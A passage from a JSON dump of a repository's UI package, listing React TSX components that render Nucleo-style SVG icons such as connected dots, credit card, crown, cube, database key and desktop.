d=\"M5,2.75h0c1.242,0,2.25,1.008,2.25,2.25V14.25c0,.552-.448,1-1,1H3.75c-.552,0-1-.448-1-1V5c0-1.242,1.008-2.25,2.25-2.25Z\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          transform=\"translate(10 18) rotate(180)\"\n        />\n        <circle cx=\"5\" cy=\"13\" fill=\"currentColor\" r=\".75\" stroke=\"none\" />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/connected-dots-fill.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function ConnectedDotsFill(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg viewBox=\"0 0 18 18\" xmlns=\"http://www.w3.org/2000/svg\" {...props}>\n      <g fill=\"currentColor\">\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"7.954\"\n          x2=\"5.047\"\n          y1=\"5.988\"\n          y2=\"11.511\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"10.046\"\n          x2=\"12.953\"\n          y1=\"5.988\"\n          y2=\"11.511\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"6.25\"\n          x2=\"11.75\"\n          y1=\"13.25\"\n          y2=\"13.25\"\n        />\n        <circle\n          cx=\"9\"\n          cy=\"4\"\n          fill=\"currentColor\"\n          r=\"2.25\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <circle\n          cx=\"14\"\n          cy=\"13.5\"\n          fill=\"currentColor\"\n          r=\"2.25\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <circle\n          cx=\"4\"\n          cy=\"13.5\"\n          fill=\"currentColor\"\n          r=\"2.25\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/connected-dots.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function ConnectedDots(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg viewBox=\"0 0 18 18\" xmlns=\"http://www.w3.org/2000/svg\" {...props}>\n      <g fill=\"currentColor\">\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"7.954\"\n          x2=\"5.047\"\n          y1=\"5.988\"\n          y2=\"11.511\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"10.046\"\n          x2=\"12.953\"\n          y1=\"5.988\"\n          y2=\"11.511\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"6.25\"\n          x2=\"11.75\"\n          y1=\"13.25\"\n          y2=\"13.25\"\n        />\n        <circle\n          cx=\"9\"\n          cy=\"4\"\n          fill=\"none\"\n          r=\"2.25\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <circle\n          cx=\"14\"\n          cy=\"13.5\"\n          fill=\"none\"\n          r=\"2.25\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <circle\n          cx=\"4\"\n          cy=\"13.5\"\n          fill=\"none\"\n          r=\"2.25\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/connected-dots4.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function ConnectedDots4(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"4.664\"\n          x2=\"7.586\"\n          y1=\"7.586\"\n          y2=\"4.664\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"10.414\"\n          x2=\"13.336\"\n          y1=\"4.664\"\n          y2=\"7.586\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"13.336\"\n          x2=\"10.414\"\n          y1=\"10.414\"\n          y2=\"13.336\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"7.586\"\n          x2=\"4.664\"\n          y1=\"13.336\"\n          y2=\"10.414\"\n        />\n        <circle\n          cx=\"9\"\n          cy=\"3.25\"\n          fill=\"none\"\n          r=\"2\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <circle\n          cx=\"3.25\"\n          cy=\"9\"\n          fill=\"none\"\n          r=\"2\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <circle\n          cx=\"9\"\n          cy=\"14.75\"\n          fill=\"none\"\n          r=\"2\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <circle\n          cx=\"14.75\"\n          cy=\"9\"\n          fill=\"none\"\n          r=\"2\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/connections3.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function Connections3(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <rect\n          height=\"3.889\"\n          width=\"3.889\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          transform=\"translate(5.636 -5.121) rotate(45)\"\n          x=\"7.055\"\n          y=\"2.298\"\n        />\n        <rect\n          height=\"3.889\"\n          width=\"3.889\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          transform=\"translate(-5.121 5.636) rotate(-45)\"\n          x=\"2.298\"\n          y=\"7.055\"\n        />\n        <rect\n          height=\"3.889\"\n          width=\"3.889\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          transform=\"translate(5.636 29.849) rotate(-135)\"\n          x=\"7.055\"\n          y=\"11.813\"\n        />\n        <rect\n          height=\"3.889\"\n          width=\"3.889\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          transform=\"translate(29.849 5.636) rotate(135)\"\n          x=\"11.813\"\n          y=\"7.055\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/credit-card.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function CreditCard(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"1.75\"\n          x2=\"16.25\"\n          y1=\"7.25\"\n          y2=\"7.25\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"4.25\"\n          x2=\"7.25\"\n          y1=\"11.25\"\n          y2=\"11.25\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"12.75\"\n          x2=\"13.75\"\n          y1=\"11.25\"\n          y2=\"11.25\"\n        />\n        <rect\n          height=\"10.5\"\n          width=\"14.5\"\n          fill=\"none\"\n          rx=\"2\"\n          ry=\"2\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          transform=\"translate(18 18) rotate(180)\"\n          x=\"1.75\"\n          y=\"3.75\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/crosshairs3.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function Crosshairs3(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <circle\n          cx=\"9\"\n          cy=\"9\"\n          fill=\"none\"\n          r=\"7.25\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"9\"\n          x2=\"9\"\n          y1=\"7\"\n          y2=\"4.75\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"11\"\n          x2=\"13.25\"\n          y1=\"9\"\n          y2=\"9\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"9\"\n          x2=\"9\"\n          y1=\"11\"\n          y2=\"13.25\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"7\"\n          x2=\"4.75\"\n          y1=\"9\"\n          y2=\"9\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/crown.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function Crown(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <circle cx=\"9\" cy=\"2.25\" fill=\"currentColor\" r=\"1\" />\n        <circle cx=\"2\" cy=\"5\" fill=\"currentColor\" r=\"1\" />\n        <circle cx=\"16\" cy=\"5\" fill=\"currentColor\" r=\"1\" />\n        <path\n          d=\"M15.426,6.882c-.244-.168-.566-.176-.819-.021l-2.609,1.605-2.357-3.858c-.272-.446-1.008-.446-1.28,0l-2.357,3.858-2.609-1.605c-.253-.155-.574-.147-.819,.021-.245,.169-.367,.466-.311,.758l.845,4.437c.157,.825,.88,1.423,1.719,1.423H13.172c.839,0,1.562-.598,1.719-1.423l.845-4.437c.056-.292-.066-.589-.311-.758Z\"\n          fill=\"currentColor\"\n        />\n        <path\n          d=\"M14,14.5H4c-.414,0-.75,.336-.75,.75s.336,.75,.75,.75H14c.414,0,.75-.336,.75-.75s-.336-.75-.75-.75Z\"\n          fill=\"currentColor\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/cube-settings-fill.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function CubeSettingsFill(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <path\n          d=\"M17,13h-.878c-.044-.138-.098-.271-.164-.397l.62-.621c.293-.293,.293-.768,0-1.061-.294-.293-.769-.292-1.061,0l-.62,.621c-.127-.066-.259-.121-.397-.164v-.878c0-.414-.336-.75-.75-.75s-.75,.336-.75,.75v.878c-.138,.044-.271,.098-.397,.164l-.62-.621c-.292-.292-.767-.293-1.061,0-.293,.292-.293,.768,0,1.061l.62,.621c-.066,.127-.12,.259-.164,.397h-.878c-.414,0-.75,.336-.75,.75s.336,.75,.75,.75h.878c.044,.138,.098,.271,.164,.397l-.62,.621c-.293,.293-.293,.768,0,1.061,.146,.146,.339,.22,.53,.22,.192,0,.384-.073,.53-.22l.62-.621c.127,.066,.259,.121,.397,.164v.878c0,.414,.336,.75,.75,.75s.75-.336,.75-.75v-.878c.138-.044,.271-.098,.397-.164l.62,.621c.146,.146,.338,.22,.53,.22,.191,0,.384-.073,.53-.22,.293-.292,.293-.768,0-1.061l-.62-.621c.066-.127,.12-.259,.164-.397h.878c.414,0,.75-.336,.75-.75s-.336-.75-.75-.75Zm-2.25,.75c0,.551-.448,1-1,1s-1-.449-1-1,.448-1,1-1,1,.449,1,1Z\"\n          fill=\"currentColor\"\n        />\n        <path\n          d=\"M8.75,14.983v-5.551l4.75-2.755v1.383c0,.414,.336,.75,.75,.75s.75-.336,.75-.75v-1.533c0-.977-.524-1.888-1.37-2.379L9.38,1.683c-.852-.493-1.908-.493-2.76,0L2.369,4.148c-.845,.491-1.369,1.402-1.369,2.379v4.945c0,.977,.524,1.888,1.37,2.379l4.25,2.465c.425,.246,.896,.37,1.368,.37,.449,0,.9-.112,1.315-.335,.365-.197,.501-.651,.305-1.016-.169-.314-.529-.444-.858-.352Zm-5.627-2.428c-.385-.223-.623-.638-.623-1.082V6.677l4.75,2.755v5.516l-4.127-2.394Z\"\n          fill=\"currentColor\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/cube-settings.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function CubeSettings(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg viewBox=\"0 0 18 18\" xmlns=\"http://www.w3.org/2000/svg\" {...props}>\n      <g fill=\"currentColor\">\n        <polyline\n          fill=\"none\"\n          points=\"13.983 5.53 8 9 2.017 5.53\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"8\"\n          x2=\"8\"\n          y1=\"15.938\"\n          y2=\"9\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"13.75\"\n          x2=\"13.75\"\n          y1=\"10.5\"\n          y2=\"11.75\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"16.048\"\n          x2=\"15.164\"\n          y1=\"11.452\"\n          y2=\"12.336\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"17\"\n          x2=\"15.75\"\n          y1=\"13.75\"\n          y2=\"13.75\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"16.048\"\n          x2=\"15.164\"\n          y1=\"16.048\"\n          y2=\"15.164\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"13.75\"\n          x2=\"13.75\"\n          y1=\"17\"\n          y2=\"15.75\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"11.452\"\n          x2=\"12.336\"\n          y1=\"16.048\"\n          y2=\"15.164\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"10.5\"\n          x2=\"11.75\"\n          y1=\"13.75\"\n          y2=\"13.75\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"11.452\"\n          x2=\"12.336\"\n          y1=\"11.452\"\n          y2=\"12.336\"\n        />\n        <circle\n          cx=\"13.75\"\n          cy=\"13.75\"\n          fill=\"none\"\n          r=\"1.75\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <path\n          d=\"M14.25,8.06v-1.533c0-.713-.38-1.372-.997-1.73l-4.25-2.465c-.621-.36-1.386-.36-2.007,0L2.747,4.797c-.617,.358-.997,1.017-.997,1.73v4.946c0,.713,.38,1.372,.997,1.73l4.25,2.465c.603,.35,1.341,.353,1.951,.023\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/cube.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function Cube(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <polyline\n          fill=\"none\"\n          points=\"14.983 5.53 9 9 3.017 5.53\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"9\"\n          x2=\"9\"\n          y1=\"15.938\"\n          y2=\"9\"\n        />\n        <path\n          d=\"M7.997,2.332L3.747,4.797c-.617,.358-.997,1.017-.997,1.73v4.946c0,.713,.38,1.372,.997,1.73l4.25,2.465c.621,.36,1.386,.36,2.007,0l4.25-2.465c.617-.358,.997-1.017,.997-1.73V6.527c0-.713-.38-1.372-.997-1.73l-4.25-2.465c-.621-.36-1.386-.36-2.007,0Z\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/currency-dollar.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function CurrencyDollar(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"9\"\n          x2=\"9\"\n          y1=\"2.25\"\n          y2=\"15.75\"\n        />\n        <path\n          d=\"M11.988,5.63c-.648-1.535-1.946-1.882-2.926-1.882-.911,0-3.306,.485-3.084,2.783,.155,1.613,1.676,2.214,3.005,2.451s3.258,.743,3.306,2.689c.039,1.645-1.439,2.768-3.227,2.768-1.707,0-2.895-.664-3.352-2.166\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/cursor-rays.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function CursorRays(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <path\n          d=\"M8.095,7.778l7.314,2.51c.222,.076,.226,.388,.007,.47l-3.279,1.233c-.067,.025-.121,.079-.146,.146l-1.233,3.279c-.083,.219-.394,.215-.47-.007l-2.51-7.314c-.068-.197,.121-.385,.318-.318Z\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"12.031\"\n          x2=\"16.243\"\n          y1=\"12.031\"\n          y2=\"16.243\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"7.75\"\n          x2=\"7.75\"\n          y1=\"1.75\"\n          y2=\"3.75\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"11.993\"\n          x2=\"10.578\"\n          y1=\"3.507\"\n          y2=\"4.922\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"3.507\"\n          x2=\"4.922\"\n          y1=\"11.993\"\n          y2=\"10.578\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"1.75\"\n          x2=\"3.75\"\n          y1=\"7.75\"\n          y2=\"7.75\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"3.507\"\n          x2=\"4.922\"\n          y1=\"3.507\"\n          y2=\"4.922\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/database-key.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function DatabaseKey(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <ellipse\n          cx=\"9\"\n          cy=\"4.25\"\n          fill=\"none\"\n          rx=\"6.25\"\n          ry=\"2.25\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"15.25\"\n          x2=\"15.25\"\n          y1=\"12.634\"\n          y2=\"4.25\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"13.75\"\n          x2=\"17.25\"\n          y1=\"15.25\"\n          y2=\"15.25\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"16.25\"\n          x2=\"16.25\"\n          y1=\"15.25\"\n          y2=\"16.5\"\n        />\n        <path\n          d=\"M2.75,4.25V13.75c0,1.151,2.402,2.101,5.501,2.234\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <path\n          d=\"M2.75,9c0,1.243,2.798,2.25,6.25,2.25s6.25-1.007,6.25-2.25\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <circle\n          cx=\"12.25\"\n          cy=\"15.25\"\n          fill=\"none\"\n          r=\"1.5\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/desktop.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function Desktop(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <path\n          d=\"M12.476,15.535c-.887-.279-1.803-.445-2.726-.504v-1.781c0-.414-.336-.75-.75-.75s-.75,.336-.75,.75v1.781c-.923,.06-1.839,.225-2.726,.504-.395,.125-.614,.545-.489,.941,.124,.394,.541,.612,.94,.49,1.958-.617,4.087-.618,6.049,0,.075,.023,.151,.035,.226,.035,.319,0,.614-.205,.716-.525,.124-.395-.096-.816-.49-.94Z\"\n          fill=\"#212121\"\n        />\n        <path\n          d=\"M14.25,14H3.75c-1.517,0-2.75-1.233-2.75-2.75V4.75c0-1.517,1.233-2.75,2.75-2.75H14.25c1.517,0,2.75,1.233,2.75,2.75v6.5c0,1.517-1.233,2.75-2.75,2.75ZM3.75,3.5c-.689,0-1.25,.561-1.25,1.25v6.5c0,.689,.561,1.25,1.25,1.25H14.25c.689,0,1.25-.561,1.25-1.25V4.75c0-.689-.561-1.25-1.25-1.25H3.75Z\"\n          fill=\"#212121\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/diamond-turn-right-fill.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function DiamondTurnRightFill(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <path\n          d=\"M16.116,7.056L10.944,1.884c-1.038-1.039-2.851-1.039-3.889,0L1.884,7.056c-.52,.519-.806,1.21-.806,1.944s.286,1.425,.806,1.944l5.171,5.171c.519,.52,1.209,.806,1.944,.806s1.425-.286,1.944-.806l5.171-5.171c.52-.519,.806-1.209,.806-1.944s-.286-1.425-.806-1.944Zm-3.335,2.225l-2.25,2.25c-.146,.146-.338,.22-.53,.22s-.384-.073-.53-.22c-.293-.293-.293-.768,0-1.061l.97-.97h-1.689c-.689,0-1.25,.561-1.25,1.25v.5c0,.414-.336,.75-.75,.75s-.75-.336-.75-.75v-.5c0-1.517,1.233-2.75,2.75-2.75h1.689l-.97-.97c-.293-.293-.293-.768,0-1.061s.768-.293,1.061,0l2.25,2.25c.293,.293,.293,.768,0,1.061Z\"\n          fill=\"currentColor\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/diamond-turn-right.tsx",
